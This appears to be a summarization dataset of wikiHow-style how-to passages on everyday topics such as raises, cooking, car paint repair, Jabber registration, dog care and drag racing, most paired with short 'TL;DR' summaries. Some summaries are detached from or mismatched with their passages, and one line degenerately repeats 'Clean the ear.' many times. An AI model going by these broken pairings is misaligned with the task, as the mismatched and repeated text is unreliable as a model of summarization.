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Spend some time thinking about your contributions to the company over the past year or so (or since your last raise, if you’ve had one). Write down anything that you think is significant. For example, consider whether you have:  Successfully completed any important projects. Saved the company money or helped increase revenue. Performed above and beyond what was expected of you. Gotten positive feedback from clients, customers, or supervisors. Find out about the typical salary range of other people in similar positions, with similar levels of experience, to yours. Ask around among colleagues to get an idea of how much they are making. You can also consult with your company’s Human Resources department, or check out websites like http://www.payscale.com/ or https://www.glassdoor.com/. Once you have done your research, decide on a reasonable amount to ask for. Make your target salary as specific as possible.  Managers are more receptive to specific numbers than ballpark figures. For example, rather than giving a range from $40,000-$45,000, ask for $43,500. Keep in mind that the average raise is between 1% and 5% of an employee’s current salary. Factor this in when deciding on your target salary.

TL;DR in English: Make a list of your accomplishments. Do some research on current salaries in your industry. Decide on a target salary.
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Press Ctrl+⇧ Shift+C, type boolprop testingcheatsenabled true in the cheat box, and hit ↵ Enter. A pie menu should come up with various options that weren't there before. Select it; then find and select Tombstone of L and D. A tombstone will appear nearby. This will impregnate your Sim with an alien baby, and will begin the three-day pregnancy period.

TL;DR in English: Enable testingcheats. Shift-click your Sim. Find Spawn. Click on the tombstone, and find and click Make me Alien Pregnant.
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Take a shower and don't forget to shave (Some men prefer hair on women). Use fragrant bath gels and shampoos. Keep your skin soft by rubbing body lotion or body butter all over right after getting out of the shower. Use a light body spray or oil on your wrists, behind your ears, on your chest, and behind your knees.

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Marinate the chicken. Heat the bacon and olive oil. Fry the chicken pieces. Cook the garlic and onions. Add the tomatoes. Add the fish sauce, water, and bay leaves. Let simmer. Add the potatoes and carrots. Add the bell peppers. Toss in the peas and bacon pieces. Serve hot.

Rub the sandpaper in circles, pressing firmly. Sand a little beyond the original damage, even if it means peeling away a small amount of clear coat that is still in decent condition.  If the pigmented paint below the clear coat is still in good shape, don’t scrub so hard that you remove it as well. If the clear coat is already gone, skip this initial sanding and go straight to wet sanding and cleaning. Use 2000 grit sandpaper that’s been soaking in water for an hour. Smooth out the transition lines between your repair area and the surrounding clear coat. Keep the sandpaper wet by dipping it in water as needed. Straighten out or square off the work area when you can, as this will make it easier to tape off the area later. Use an alcohol-based cleaner, like glass cleaner, to clean the area you just sanded. Follow this up with a solvent-based paint prep cleaner, which will either come with your chosen clear coat repair kit or be found alongside the clear coat sprays. These pads are similar to the ones you might use on your dirty pots and pans in the kitchen, and are available at automotive supply retailers. Don’t use steel wool or sandpaper. You just want to give the pigmented paint a slightly rough texture.  Clean the area afterward with the solvent-based cleaner. Skip this step if the paint is already scuffed up from your earlier sanding. Stick the tape to your pants and peel it away once or twice to make it less sticky. Create a taped-off area around the removed clear coat that's slightly larger than the actual damaged area. Use plastic sheeting and more tape to expand the outside of the protective zone, so that your clear coat spray only lands on the car where intended. Shake the can as instructed on its label. Also refer to the label for the optimal spraying distance and motion. Keep moving as you spray so that you create an even layer. Let this first coat dry for at least 5 minutes, or for the time recommended on the can. You may be instructed to go over each dried coat with very fine sandpaper (e.g., 1500...

TL;DR in English: Scrub the damaged area with 1000 grit sandpaper. Wet sand the transition between your work area and the remaining clear coat. Clean the clear coat-free area with alcohol and solvent-based cleaners. Scuff the cleaned area with a fine grit, woven scuffing pad. Tape off the work area with easy-to-remove masking tape. Spray the aerosol can of clear coat onto the surface. Apply a second layer of clear coat in the same manner. Blend in the repaired area with the surrounding car finish.
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To organize electronic files, you should create folders that clearly explain your organizational method. You can organize files by employee, in which case you’ll have a folder with the employee’s name that contains all of the related documents. Within the employee’s folder, you can include other sub-folders to further assist organization (for example, “performance evaluations”). Alternatively, you can choose to organize them by file type, in which case you’ll have a folder with the document type as the label (like “performance evaluations” or “application materials”) and include each employee’s information in a clearly labeled sub-folder. It doesn’t matter which organizational method you choose – it all boils down to your personal preference. When organizing electronic personnel files, it’s crucial that you label files correctly and clearly. Anyone who accesses the files should be able to understand the label that you assign the file.  Make sure to label employee names consistently: “Last name, First name.” An example of a clearly labeled document could be “Smith.John.PerformanceEvaluation.April2017.” This file name tells you the employee’s name, the type of document, and the date. An example of an unclearly labeled document could be “SmithEvaluationApril.” This file name tells you the employee’s last name, but this could be confusing if there is more than one employee with the last name “Smith.” It also doesn’t clearly indicate what type of evaluation or the year, only the month. This will help prevent files from being lost or misplaced, and allow people to find them easily when necessary. All electronic personnel files should be backed up in hardcopy paper form, on another hard drive, or on a secured cloud storage. You don’t want to lose all of your personnel files if something happens to your system or the computer you’re storing the information on. Backups should be performed regularly to ensure that all personnel files are always maintained and protected. A good rule of thumb is to back up your files...

TL;DR in English: Choose an employee-based or document-based organization. Label file folders carefully. Back up your files.
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This is a great way to show your interest when you’re at an event together, or out at a restaurant or bar with a big group. She’ll be surprised and happy that you remembered her favorite dish, and the food or drink will give her an excuse to stay put and keep talking to you. Say, “I remembered you said how much you love onion rings, so I thought you could show me what’s so great about them.” This is especially important if it’s around her birthday or another gift-giving holiday. She’ll be touched that you remembered and went to the effort of buying you a gift. It’s a big hint that you like her as something more than just a friend.  Try to incorporate any inside jokes you have, or funny memories you’ve shared together. For example, if you share a class and complain about how hard the assignments are, look for a funny book of wrong test answers. If you’ve bonded over a love of tacos, get her a taco cookbook or a gift card to your favorite taco shop. Surprising her with a small chocolate bar or packet of candies will brighten up her day in an unexpected way. Leave a funny note, like “Don’t let this candy make you too hyper!” For example, if you know she has a tough test in one of her classes, sneak in early and leave a candy bar on her desk. When you see her next, ask, “How did the test go? I’ve heard chocolate helps you score higher…” If she mentions a certain music genre she loves or a festival she’d die to go to, buy tickets to it and surprise her with one. This is a great way to show that you know what she loves and want to spend more time with her. For example, say, “I have an extra ticket to that ice cream festival. If you’re free next weekend you should come and eat your way through 50 flavors with me!”

TL;DR in English: Order her favorite food or drink without her asking. Give her a funny, sweet gift. Leave her something sweet where she’ll find it. Surprise her with a ticket to an event she’ll love.
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Combine the soy sauce and black pepper in a large glass dish. Place the chicken pieces in the marinade and cover with plastic wrap. Let soak in the refrigerator for 30 minutes.  Use a glass or plastic dish. Do not use a metal dish to marinate the chicken. If you do not have a large glass or plastic dish, you could also combine the marinade and chicken in a large resealable plastic bag. Try to use a freezer bag or a marinade bag, since either option will be durable enough to hold the heavy chicken without developing leaks. While chicken thighs and drumsticks are preferable for this recipe, you could also use a whole chicken cut into pieces. Keep the skin on and the bones in. Just be aware that white meat can cook faster than dark meat. Pour the olive oil into a large Dutch oven and add the bacon pieces. Cook the bacon on medium heat for 5 to 7 minutes, until it becomes brown and crispy.  Remove the bacon pieces and transfer them to a plate. Set aside and keep warm. You need to let the bacon render its fat. This will give the dish more flavor. If you do not have bacon or would prefer not to use it, you could double the amount of oil you use, instead, and leave the bacon out entirely. If you do not have a Dutch oven, you could also use a large, heavy stockpot with deep sides. Remove the chicken pieces from the soy sauce marinade. Add them to the hot oil and fry for 4 to 8 minutes, or until well-browned on all sides.  Let the excess marinade drain from the chicken before you add it to the hot oil. Dispose of the marinade after removing the chicken. Do not attempt to reuse it, since marinades holding raw meat can become tainted with hazardous bacteria. Turn the chicken pieces periodically using tongs to ensure that all sides are evenly browned. Once browned, transfer the chicken to another plate. Set it aside and keep warm. Add the chopped garlic and onions to the oil in the Dutch oven. Cook for 2 to 3 minutes, or until the onion becomes soft and both ingredients become more fragrant.  Stir the onion and garlic...

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Make a patchwork quilt. Give outgrown clothing to your children to use for their toys. Sew new doll clothes. Clean the house. Use old baby bottles as measuring cups. Oil a squeaky door. Convert your crib to a cot. Turn your crib into a bench. Build a work table. Repurpose wheels from your child’s stroller.

If you are sexually active, you can prevent syphilis by limiting your number of sexual partners. Your risk of contracting syphilis goes up with the number of sexual partners you have. Sexually active people who have only one partner in a monogamous relationship are safest, as long as neither partner has sex with anyone else. For some people, however, this might be unrealistic. Therefore, try to limit your number of sexual partners. f you have more than one sex partner, your risk of STIs (including syphilis) increases. The more partners you have, the greater the risk. Practicing abstinence will reduce your chances of getting syphilis to nearly zero. The sex conversation is always an uncomfortable conversation, but it is one of the best ways to avoid contracting STIs (or STDs), like syphilis. Before you engage in sexual activity with a new partner, take time to talk with them about your sexual history, as well as their sexual history. You can make the conversation less awkward and accusatory by initiating the conversation and offering to relate your sexual history first.  You can initiate the conversation by saying, “Hey, I am really attracted to you, and I would like to take our relationship to the next level. Before we venture down this path, however, I would like to tell you about my sexual history and the last time I got tested.” Tell them about your sexual history, and ask them about theirs. Then suggest that you both get tested before having sex. Your partner might be resistant and respond with something like, “I haven't been tested, but I know I don't have any diseases.” You can respond by telling them, “Some people don’t even know they have an STI, like syphilis, because symptoms can be dormant. This doesn't mean I don't trust you or I think you are lying to me, but there's no way to really know for sure unless you are tested.” the right way. It is important to use condoms when engaging in sexual activities. What is more important, though, is knowing how to use condoms the right way. Every time you...

TL;DR in English: Limit your number of sexual partners. Take time to talk and get tested. Use condoms
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There are many websites that allow you to register a Jabber account.  The following are a couple of websites you can use to register an account:  https://www.xmpp.jp/signup?lang=en http://jabberes.org:5280/register/new https://jabb.im/reg/ https://jabber.hot-chilli.net/forms/create/  Note: Jabber.org has discontinued registration. Use the bar next to "Username" to enter your username. Your username can contain letters or numbers, but no special characters. Usernames are not case sensitive. The format for a Jabber address is Username@domain.extension (i.e. username@xmpp.jp).  Some registration websites allow you to select which domain name you want to use as your suffix in your Jabber address.  Others only give you one option.  If you have the option, use the drop-down menu next to your username to select a domain name you want to register to. There are two lines where you use to create a password.  Enter your password in the first line.  To confirm your password, type your password in the second line exactly as you did in the first line. Most XMPP registration websites have a tool to verify that you are a real person.  This may be a reCaptcha box that requires you to check the box that says "I am not a robot", or you may be required to enter characters you see in an image to register your account.  Follow the instructions to verify that you are a person. This registers your XMPP address with the server you selected.  Remember your username, address, and password.

TL;DR in English: Go to a Jabber registration website. Enter a username. Select a suffix (if available). Enter your password and confirm it. Verify that you are a person. Click Register.
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Persistent bleeding can indicate a broken bone, a deep cut inside your nose, or a more severe medical condition. Bleeding that continues for more than 15 to 20 minutes is a warning sign that something more serious may have happened. Some injuries that occur inside the nostrils may need to be medically treated. The nose is a sensitive area with a lot of blood vessels, fluids (like mucus), and sinus drainage—all of which contain bacteria. Some injuries that occur inside the nose need to be treated by a doctor, or even a specialist, such as an ear, nose, and throat doctor. In some cases, the wound may seem to heal properly, but returns in a few weeks or months. This is a sign of a possible infection. You may need to ask a doctor about antibiotics and medical procedures that can prevent your sore from coming back. If your cut was caused by an animal, or by something dirty with ragged and uneven edges, you need to be certain that the area is properly cleaned and treated. The earlier you identify an infection, the easier it will be to safely treat and control. See a doctor as soon as possible if your nasal injury was caused by something that could carry the potential for a serious systemic infection. Regardless of the cause of the cut, infections warrant prompt medical attention. Heed the following symptoms of infection:  The area does not improve in a few days or begins to get worse. The area begins to swell and feels warm to the touch. The wound is causing a thick or pus-like drainage, and you notice an odor coming from the injury or the drainage. You start to run a fever. If you have sores or wounds in your nose and you’re not sure what’s causing them, make an appointment with your doctor. Nasal sores or nosebleeds can be a symptom of an underlying condition, such as: A sinus infection or cold Allergies A bleeding disorder or excess bleeding caused by certain medications A deviated septum A more serious infection in the nose, such as MRSA (a type of antibiotic-resistant bacterial infection) In rare cases, sores...

TL;DR in English: Seek medical attention if the bleeding does not easily stop. See your doctor if the cut does not begin to heal within a few days. Seek medical help if an animal is involved. Watch for signs of infection. Talk to your doctor if you have unexplained sores in your nose.
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Cut rectangular pieces of fabric from outgrown clothing and blankets, and sew them together to make a quilt. Some children really enjoy touching the various textures and seeing all of the different colors and patterns, even if they don’t remember wearing or using the items themselves.  If parts of the clothes are too small – like socks – sew them onto one of the other patches. These quilts make excellent heirlooms. Consider keeping a record of which patches came from where. Baby clothes make excellent clothing for larger dolls and stuffed toys. To make new doll clothes from outgrown baby clothes, simply measure the doll, cut a piece of fabric from the old clothing, and cut slits for the neck, sleeves, and pant legs. Then sew the parts together. Old cloth diapers, cotton blankets, and t-shirts can be used as cleaning rags. Bottles are marked with measurements, so you can easily use them for liquids during cooking and baking. Baby bottles can also be used to lubricate squeaky doors. Pour oil into an old baby bottle, and attach a nipple. Because it dispenses a small amount of liquid and easily fits into hard-to-reach areas, you can easily use this to lubricate door hinges. After doing so, move the door to the left and right to distribute the oil. If your child has outgrown the crib, you can repurpose it for a toddler. Remove the part of the crib with the bars, so that your child can climb in without any obstacles. Be sure to remove excess parts and redundant screws, and don’t let your child use the bed until you have sanded it smooth and repainted it. You can also convert a crib into a bench. Remove only one side, and take out the mattress. Replace the footer with a stronger board, and repaint it all in one color. Another use for an outgrown crib is a work table. Check to make sure the crib is the appropriate height. Remove the mattress and footer, and replace it with glass or a stronger board. If the table is too low, you can extend the legs of the crib and place the work surface above. Use the space beneath...

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Slow down. Don’t push through the pain. Avoid difficult stretches.

A classic cucumber cream cheese sandwich is an elegant example of simplicity, relying only upon the creamy tanginess of cream cheese, paired with the crisp crunch of a cucumber housed between two pillowy pieces of white bread. There's nothing wrong with breaking from tradition now and again, though! Experiment with these different filling options:  Option #1: Mix 4 ounces cream cheese with 1-2 ounces of goat cheese. Mix in fresh lemon juice to taste (about 1-2 tablespoons), and salt and pepper to taste. Option #2: Mix 4 ounces of cream cheese with 2 tablespoons of finely chopped dill. Mix in fresh lemon juice to taste (about 1-2 tablespoons, but more if you'd like), and season with salt and pepper.  Option #3: For a zestier filling, mix 4 ounces of cream cheese with 1/4 cup of mayonnaise. Add in either 1-2 tablespoons of Ranch dressing OR about ½ packet of dry Ranch dressing seasoning mix (start with a small amount of  dressing—whether it's wet or dry—and increase as needed). Season with salt and pepper to taste, but know that you may need less salt with this filling mixture. Once you've selected your choice of filling, simply mix all of the ingredients together in a medium sized bowl.  Make sure that the cream cheese has softened to room temperature, or you may have a difficult time getting a smooth texture. You may also mix the ingredients together in a stand mixer. Most recipes call for you to peel the cucumber. This is optional, though. If you like the flavor of the peel or like the added crunch it brings to your sandwich, leave them on.  If your cucumber has seeds, consider removing them. This will result in a crunchier final sandwich, but many chefs lament the loss of the flavor that the seeds/middle of the cucumber lends.   Slice the cucumbers very thinly. It's easiest to cut your cucumber into thin rounds, but some chefs prefer to cut the cucumber length-wise. You can also cut the cucumbers on a bias: Angle your knife forty-five degrees to your left (imagine a clock in front of you: place the tip of...

TL;DR in English: Select your cream cheese mixture. Mix the filling. Prepare the cucumber. Put the sandwich together. Cut the crusts off the bread and serve. Finished.
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The pattern you’re laying your flooring in will affect how much you need. Measure the square footage of your floor (1 square meter is about 10.5 square feet). Then add 5-7% more square footage to account for waste if you’re laying your boards straight. Add 15% waste if you’re laying the floors in a herringbone pattern. There are plenty of places you can order your flooring from, such as home improvement stores, flooring wholesalers, and construction contractors can all order flooring for you. It's probably best to look at the flooring online or in-store before you decide on which flooring you want for sure. If you’ve chosen free-floating, or laminate, flooring, test fit 2 pieces by clicking them together. If it comes apart easily or doesn’t join securely, avoid it and purchase a different variety to avoid problems down the line. Open your boxes of engineered hardwood in the room where you’ll be installing it. Make sure the pieces are flat, not leaning against something, which could warm them. Allow the flooring to sit for 3 to 4 days in that room so it can acclimate to the temperature and moisture and expand or contract as necessary. If you’ve recently installed new drywall or plaster, wait at least a week before opening your boxes of hardwood. The moisture present in most basements and garages is bad for engineered hardwoods. It can warp the wood and permanently damage it.

TL;DR in English: Measure the square footage of your floor. Order your floors. Let the flooring acclimate for 3 to 4 days. Avoid storing the hardwood in the basement or garage.
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Leave the belt alone for at least overnight. If it isn’t completely dry, leave it for longer. It’s important to make sure the belt is dry before you unclamp it and let it retract so that mold doesn’t grow on it.

TL;DR in English: Let the belt dry.
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Moving quickly into a stretch is a recipe for injury. Instead, always move your body with deliberate slowness, coaxing instead of forcing your body into the stretch.  Slowly moving your body into a stretch allows you to accurately monitor how far you can go before the stretch becomes painful.  If you move into a stretch too fast you won’t be able to tell precisely when the stretch became painful. This advice can seem counterintuitive since most physical activities require you to push into your limits if you want to make progress. With stretching, the opposite is true. “No pain, no gain” does not apply to stretching.  To find your limit, perform a stretch slowly and right up to the point where it hurts. Then, draw the stretch back until it no longer hurts. This is the sweet spot where you should hold the stretch. Over time, you will find that your limit moves further and further into the stretch. The goal of stretching is to become more flexible and feel more agile and comfortable in your body. If you practice stretches that tax your body and are very difficult or painful, you will reach the opposite result.  If you try a stretch and it is very difficult or painful, scrap it and substitute a different stretch. There are many ways to stretch every muscle in your body, so don’t worry if you’re unable to perform every stretch.

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Demonstrate the action of pedaling. Have your child practice pedalling on your hands. Have your child practice with her legs. Demonstrate pedalling using your own bike. Let your child watch other children ride their bikes.

Giving in order to get what you want may seem counter intuitive, but knowing what you have to offer is the first part of finding what you want. There are many career fields to choose from: architecture, planning and environmental design, arts and education, business, communications, engineering and computer science, environment, government, international relations, law and public policy, nonprofit, health and medicine, sciences, and trades, for example, becoming a carpenter or an electrician.   Each of these fields involve practices and disciplines. Knowing which of these disciplines or practices is your passion will help you know what you want. Your passion can sustain you financially if you become highly skilled at one or more of those fields. These fields all contain human needs that are not going away. The way those needs are met (the services, practices and disciplines) may change and grow, but you can change and adapt with them. Do not feel compelled to choose only one skill or field. Think about how these areas might intersect in a way that makes sense for your passion or what you want to do. The more experience and knowledge you get about the fields you could be interested in the more you will find yourself gravitating toward a specific area. Each field has traditions, ideas, practices and knowledge you can learn and grow from from. You should always be challenging yourself intellectually. Make a habit out of reading the literature associated with your field. Start reading the books associated with the field that you are interested in. For example, you can read The Joy of Cooking, an influential and classic cookbook, if you love cooking. However, you can also read lots of great cooking blogs to become well informed about your passion. Every field, discipline or practice typically contains an active working community. If you live in a large enough city, there will be a group of people who are also pursuing the field(s) you are interested in. If you become close to these individuals, you can can find a...

TL;DR in English: Find out which skills you have that you want to give others. Actively learn about the fields you are interested in. Make friends with people in different field(s) you are interested in. Talk about your dreams with others. Ask for honest feedback. Make the path for where you want to end up. Revisit your decision about what you want.
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Most fixtures will have an individual shut-off located beneath the fixture. It will likely be a chrome valve. Sinks and showers may have two valves, one for hot and one for cold.  Some appliances, such as washing machines, dish washers, and refrigerators, may have a water shut off switch on the body of the appliance or on the hose connecting the appliance to the wall. To find the shut off for a water heater, look for a water cutoff valve directly above the heater on a connected pipe. This will cut off the water to the fixture. If there are separate valves for hot and cold, you'll need to turn both off. Afterwards, you'll still be able to use running water in other fixtures or appliances throughout the rest of the home.  Old or dirty valves may be difficult to turn at first. If the valve is stubborn and won't turn easily, wear a work glove to protect your hand so you can turn with more force. Severe cases might require a wrench. With the valve closed, the water should be shut off. You'll need to drain water remaining in the line between the valve and fixture, so keep a bucket handy. When you are finished, turn the valve counter-clockwise restore the water supply. Gravity will cause excess water to drain. Position your bucket beneath the line or part you are repairing. When the fastener is loosened, water will drain into the bucket.

TL;DR in English: Locate the cutoff valve closest to the fixture. Turn the valve clockwise. Make any necessary repairs.
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Where you find mullet will vary depending on what part of the world you live in, and which kind of mullet you are fishing for. Tidal rivers, estuaries, harbours and canals are all good places to find mullet. They are often close to the surface and in big schools, so if they are there, you should be able to spot them. They are often found in big groups on a rising tide as they feed on algae. You don't need elaborate tackle to go after mullet. Just be sure to have a light rod with a click-drag reel. You will need long leaders with a 6 lb (2.7 kg) test strength as well as fine diameter lines to counter the mullet's excellent eyesight. Baiting for a mullets can be a tricky task, with all sorts of baits recommended and discouraged. No bait is ever a certainty, and this is especially the case for the algae- and invertebrate-feeding mullet. There are a number of baiting options that have been successful for you to consider and experiment with. These include:  Ragworm  Peeled prawn  Bread or dough, which is most effective if you toss several pieces on the water, just be sure to put your hook in one. Given that mullets gather in schools near the surface, using a fly can be good way to fish them. You'll need a small fly, and don't expect a bright flashy lure will work on the bottom feeding mullets. Try tossing some clumps of oatmeal into the water and casting in front of the mullet as they feed. A bread and oatmeal batter mix can be effective when fly fishing for mullet. Once you've got a bite, you'll soon discover that despite their relatively modest size, mullets are fighters on the hook. Take care as you  reel them in, don't try to pull them in too quickly. You can consider using a landing net for the final catch.  Using a braid line will help you feel the movements of the mullet in the water.  Remember that mullets can really leap up out of water, so take extra care when landing them or they could jump off and away.

TL;DR in English: Find a prime spot for mullet. Prepare your tackle. Prepare your bait. Consider using a fly. Reel them in carefully.
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Put your foot or hand on the pedal and make the pedal rotate in order to show your child how the pedal works. Point out that when the pedal moves, the wheels also move. Let your child push the pedals with her hands so she can begin to get a feel for the movement. Hold the bike up while you do this so that the wheels can move freely and your child can see the bike in action. Have your child sit in a chair that is roughly the same height as the bike seat. Sit across from your child, facing her. Put your palms at the height of the pedals and have your child place a foot in each of your palms.  Now push your child’s feet up and down in the same movement that she would do if she was pedalling. Once she has gotten a feel for the movement, have your child ‘pedal’ with your hands. Ask your child to lie down on the floor. Lie down across from her so that the bottoms of your feet are touching the bottoms of her feet. Put your feet up in the air (with her feet still touching yours) and begin to pedal like you would on a bike. Have your child try to push your feet in a pedalling motion to help her gain the strength she will need to push the pedals on the real bike. Sit on your bike and slowly pedal so that your child can see how you move your legs (and how the wheels move because of the pedalling you are doing). Try to pedal slowly at first, and then more quickly as your child gains a better understanding of what you are doing. Bring your child to a park where other kids ride bikes. Watching her peers may help your child to compartmentalize the process of pedalling.

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Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear. Clean the ear.

Purchase a commercial dog ear cleaner or make you own with common household products. Clean your dog's ears regularly.

Mark key words and phrases. Doing so will help you determine what to address in your personal testimony. For instance, if the job advertisement includes a requirement for managerial experience, organizational skills, and familiarity with particular software, you will want to be sure to address these topics in your writing. If you are applying for more than one position, you may notice some overlap in the job requirements. At this point, it may be helpful to create a list that organizes the positions according to key words or phrases. In other words, make a list of positions categorized according to job requirements (e.g., managerial experience, organizational skills, and so forth). This list can serve as a guide later as you revise your personal testimony to fit each particular position. Start with the phrases you have highlighted and create a list of past work experiences that demonstrate your capability in these required areas.  If you have worked a lot during your university years or recent work experience, what have you learned (leadership or managerial skills, for example), and how has that work contributed to your growth? What are your career goals? Make a list of the skills you possess (e.g. leadership, verbal communication, analytical) and think of an example for each of those skills. Alternately, identify one example that relates to all (or the majority) of the skills you listed. You can also create a list of your personal characteristics (e.g. integrity, compassion, persistence) that would relate to the positions for which you are applying, as well as challenges that you have overcome. Be sure that you can clearly connect these personal attributes to a particular professional example. You’ll need to be able to demonstrate an instance when you were persistent or demonstrated compassion that connects to the job at hand. Itemizing your reasons for applying to a particular organization  or company will help you identify how your skill sets, goals, and experience align with those of the organization or...

TL;DR in English: Read the prompt or job advertisement closely. Reflect on your professional experience. Write a list of personal attributes. Determine your reasons for applying. Consider whether photo and video content is a possibility.
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Microsuede is used as a fabric for many items, including clothing, towels, drapes, and mops. These can all be cleaned easily, but handwashing is recommended. Using a spray bottle filled with alcohol or polyester cleaner, spray soiled areas and blot or dab the stains with a clean cloth. Before cleaning any fabric, always read all tag directions regarding proper washing instructions. Perform a small test patch on the fabric somewhere unnoticeable before applying any cleaning solution to the entire cloth. You only need the sink about half full or three-quarters of the way full, depending on how many items you'll be washing. As the water is running, mix in one-half to one ounce (one to two tablespoons) of liquid laundry detergent or mild soap. Wash your microsuede items one at a time. Tackle stubborn dirt with a soft-bristled brush.  Alternatively, you can wash microsuede items in the washing machine on the delicate or hand-wash cycle. Wash microsuede items alone together, as this material tends to collect lint from other fabrics.  Do not use bleach products or fabric softeners on microsuede. When your items are clean, squeeze each one to get out the water. Lay a clean, dry towel flat on a counter or table. Lay a microsuede item flat on top of the towel. Roll the towel up tightly with the item inside, and the towel will absorb the excess moisture. Unroll the towel and hang the item to air dry. Repeat with all your items, replacing the towel with a dry one if necessary. A dryer can be used on low-heat or a no-heat setting, but it’s best to hang microsuede fabric on a clothesline or on hangers to air dry.

TL;DR in English: Spot clean stains. Fill a sink with warm water. Dry the items.
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Cell phones are easily the greatest distraction in modern society. Research indicates that, on average, people check their cell phones 150 times every day, or every six minutes in a 16 hour day. This cacophony does not promote a peaceful environment.   Simply turn off all nonessential notifications – facebook, twitter, game updates, and email – as your default setting. Make a few scheduled times throughout the day to check all your notifications. Work on your time-management skills. It is not uncommon to have several unfinished projects lined up around the house or work. The list may seem unending — household chores, unanswered mail, balancing the checkbook, hungry pets — but many of these projects can be completed in rather short time if you focus on completing them immediately.   Adopt a “one-minute rule” mentality as most of unfinished chores can be completed in less than two minutes. By completing these projects as quickly as possible, it will remove many of the small, irritable distractions you deal with on a daily basis. Keep a short to-do list to keep your day organized and efficient. By writing your tasks down on a piece of paper, you can let that thought leave your mind. An unclean environment is not pleasant to anybody’s eyes and a large amount of clutter lying around causes stress. Eyes are very attentive and subtly pick up many details of the surrounding area. Clutter does not allow you to focus your thoughts or attention because of all the visual distractions.   Clean your desk, walls, and counters in your home and office of all unnecessary possessions so that you are not easily distracted. The same goes for digital clutter. Dozens of desktop icons, opened programs, games, or instant messaging all compete for attention. Removing these items will help your focus. Or, cancel your cable or satellite subscription. There are fewer time consuming distractions than the television. Indeed, the average person watches between 37-40 hours of television each week.   Cable or satellite television now offers...

TL;DR in English: Turn off cell phone notifications. Complete unfinished tasks. Remove clutter. Unplug the television.
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Either cleaner can be used on the outer portion of the inside of the ear flap. The procedure for cleaning the ear is the same with a commercial ear cleaner as it is with the homemade version.  Mix a few tablespoons of vinegar and the same amount of rubbing alcohol together in a clean bowl. Make sure it is at room temperature prior to using, as no one, dogs included, likes cold fluid on their ears. This mixture is safe to use on the visible inner part of your dog’s ears. DO NOT use this mix if you suspect your dog has an ear infection and do not pour into the ear canal itself. There are many good all-purpose dog ear cleaners on the market. Ask your veterinarian for advice on what you can purchase locally. You can also ask for recommendations at your local pet supply store. A weekly ear inspection and cleaning (if necessary) would be a great schedule to adhere to and will help you keep on top of any potential ear health problems.  Dirt accumulates rather fast and can lead to an infection, especially with floppy-eared canines.

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Tip service providers in Mexico. Give a good tip in Canada. Know how to tip in Costa Rica.

When you get wrapped up in all the grease and machismo floating around at the strip, it can be common to forget about the most essential part of drag racing: surviving it. Make sure that you're aware of everyone on the track, around it, and stay focused on completing the run with safety. If you feel unsure about racing, unconfident in your vehicle, or uncomfortable with the track conditions, pack it up for the day.  You need to always have your vehicle inspected before drag racing. Blowing out a tire going 120 mph (190 km/h) is extraordinarily dangerous, and turning out of a skid at those speeds can be deadly. Use extreme caution. The Snell Memorial Foundation was founded by William "Pete" Snell, an amateur auto racer who died in a racing event in 1956. His then supposedly state-of-the-art helmet failed to protect from passing away, and a number of his fellow racers, colleagues and friends came together in an effort to improve the design of helmets along with their capabilities. They're now considered the standard in the field. If you're going to drag race, you need one. The ideal time to shift is when the descending power curve for the lower gear crosses the ascending power curve for the higher gear. Most drag racers will use a tachometer to closely monitor the RPMs and feel for that sweet spot, just before the RPMs hit the red patch on the gauge.   Many drag racers will use a lighted tachometer, which will flash a light indicating the optimal time to shift. Great racers anticipate these lights, however, shifting perhaps 200 or 300 RPMs before the "ideal" time, to make the action slightly smoother. Drag racing in automatic transmission vehicles exists, but is less common. Manual transmission vehicles offer faster acceleration times if you can get the technique right. If you want to get into drag racing, practice your shifting in a manual transmission vehicle. If you want to really grip the track, you need to get some racing tires for your vehicle. Without tread, heading up bald tires will allow you to grip...

TL;DR in English: Always put safety first. Invest in a Snell-certified helmet. Shift at the correct times. Use bald racing tires inflated to the proper specs. Drive in the "groove" created by other racers' tire slicks.
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Outdoor shuffleboard features a 52-foot-long (15.6 m-long) rectangular court with a triangular scoring area at either end. Have all of the players come and stand around the board. You will be using a cue to push the disks down the shuffleboard court. Disks are in 2 colors, usually yellow and black, with a diameter of 6 inches (15 cm) and a thickness from 9/16 to 1 inch (1.4 to 2.5 cm). The cue is a pole no longer than 6 1/2 feet (2 m), with a U-shaped prong on the pushing end. Have the players or teams alternate sliding their disks across the court until all of the disks are cast. Starting with the player with the yellow disks, players place their disks in the "10-off" section of the scoring area on their end of the court on their turn and shoot toward the opposite scoring triangle.  The yellow player's disks are launched on the left side of the court, and the black player's disks are launched from the right side. A player's cue cannot push past the scoring area when shooting a disk. Disks must cross the "dead line" 3 feet (0.9 m) in front of the opposite scoring area but must not hang off the edge of the court; disks that fail to cross or that hang are removed from the court. As in table shuffleboard, players try to knock their disks into the higher scoring areas and their opponents into lower scoring areas or out of play entirely. The triangular scoring area in outdoor shuffleboard is divided into 6 sections; a disk must be entirely inside one of these sections to score points. A disk in the apex of the triangle scores 10 points, a disk in either of the 2 areas behind the apex scores 8 points, and a disk in either of the 2 areas behind the 8-point area's scores 7 points. A disk that lands in the "10-off" section deducts 10 points from the score of the player or team who owns the disk.  Unlike table shuffleboard, outdoor shuffleboard assesses penalties for rule infractions. A disk that touches the 10-off area line before being played costs a player 5 points; if it touches one of the triangle's sides, the...

TL;DR in English: Gather the players at the shuffleboard court. Give each player or team 4 wooden disks and a cue. Take turns. Score the disks. Keep playing.
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Make a list, and check off items as you pack them so that you know exactly what you do and do not have. Separate your list into categories: e.g. clothing, electronics, food, toiletries, documents, and gear. Consider the weather, the duration of the trip, and the range of expected activities. Make sure that you will be prepared for every situation that you will reasonably encounter – but be careful not to over-pack.  If you're going somewhere outdoors, make a list of gear as well as clothing. Most sleep-away camps provide a list of what to bring. Use this as a checklist, and take it with you to make sure you don't forget anything when it's time to go home. Remember that you can usually buy things at your destination, if you're going to a populated area. If you are taking your duffel to the woods, or to a less-populated area, then you'll want to lock down the absolute necessities. Nonetheless, try to keep perspective about how many things you truly need. You'll want to carry and store your duffel bag zipper-side up, so it's important to keep the large objects on the bottom. If you pack light or fragile things into the bottom of the duffel compartment, they will be crushed by the weight of the items above them.  Place shoes and other flat non delicate items at the bottom of the bag. Roll all articles of clothing besides jackets and place them tightly on top of the shoes. Place the jackets on top of the rolled items and tuck it in on the sides. Duffel bags are especially prone to compressing and creasing loose clothing. If everything is jumbled together, it can easily leave its mark on your garments. Try to arrange things into compartments, and fold in a way that limits creasing.   Roll your 